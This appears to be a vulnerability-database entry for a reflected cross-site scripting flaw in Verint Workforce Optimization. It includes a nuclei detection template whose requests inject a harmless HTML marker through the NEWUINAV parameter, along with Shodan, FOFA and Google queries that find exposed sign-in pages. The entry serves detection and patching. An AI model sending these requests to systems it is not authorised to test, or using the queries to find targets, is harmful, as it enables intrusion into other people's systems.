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CVE-2021-36450· verint / workforce optimization· CWE-79

Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting

mediumseverity
6.1CVSS score
64.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization.

How to confirm it

Send: GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 ; POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26
Positive when: contains "\"><h1>Test</h1>26\" class=\"loginUserNameText" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-36450 -u <target>

The full check
id: CVE-2021-36450

info:
  name: Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting
  author: atomiczsec
  severity: medium
  description: Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization.
  reference:
    - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
    - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html
    - http://verint.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36450
    - https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-36450
    cwe-id: CWE-79
    epss-score: 0.64294
    epss-percentile: 0.99238
    cpe: cpe:2.3:a:verint:workforce_optimization:15.2.8.10048:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: verint
    product: workforce_optimization
    shodan-query:
      - title:"Verint Sign-in"
      - http.title:"verint sign-in"
    fofa-query: title="verint sign-in"
    google-query: intitle:"verint sign-in"
  tags: cve2021,cve,xss,verint,vuln

http:
  - raw:
      - |
        GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}}

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><h1>Test</h1>26" class="loginUserNameText'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrfp_login
        group: 1
        regex:
          - 'csrfp_login=([a-zA-Z0-9]+);'
        internal: true
        part: header

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